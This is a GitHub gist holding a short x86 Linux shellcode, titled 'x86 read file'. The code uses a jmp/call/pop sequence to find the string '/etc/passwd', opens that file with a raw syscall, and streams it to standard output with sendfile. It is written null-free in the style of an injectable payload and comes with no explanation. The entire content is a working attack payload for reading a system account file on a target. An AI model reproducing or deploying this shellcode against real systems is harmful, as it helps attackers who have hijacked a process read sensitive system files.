Skip to content

Instantly share code, notes, and snippets.

@Jinmo
Created December 12, 2015 09:55
Show Gist options
  • Save Jinmo/ad1bd2f936b2a296cc0d to your computer and use it in GitHub Desktop.
Save Jinmo/ad1bd2f936b2a296cc0d to your computer and use it in GitHub Desktop.
x86 read file
jmp a
b:
pop ebx
xor ecx, ecx
xor edx, edx
lea eax, [ecx+5]
int 0x80
xchg eax, ecx
mov al, 187
lea ebx, [edx+1]
push -1
pop esi
int 0x80
hlt
a:
call b
.asciz "/etc/passwd"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment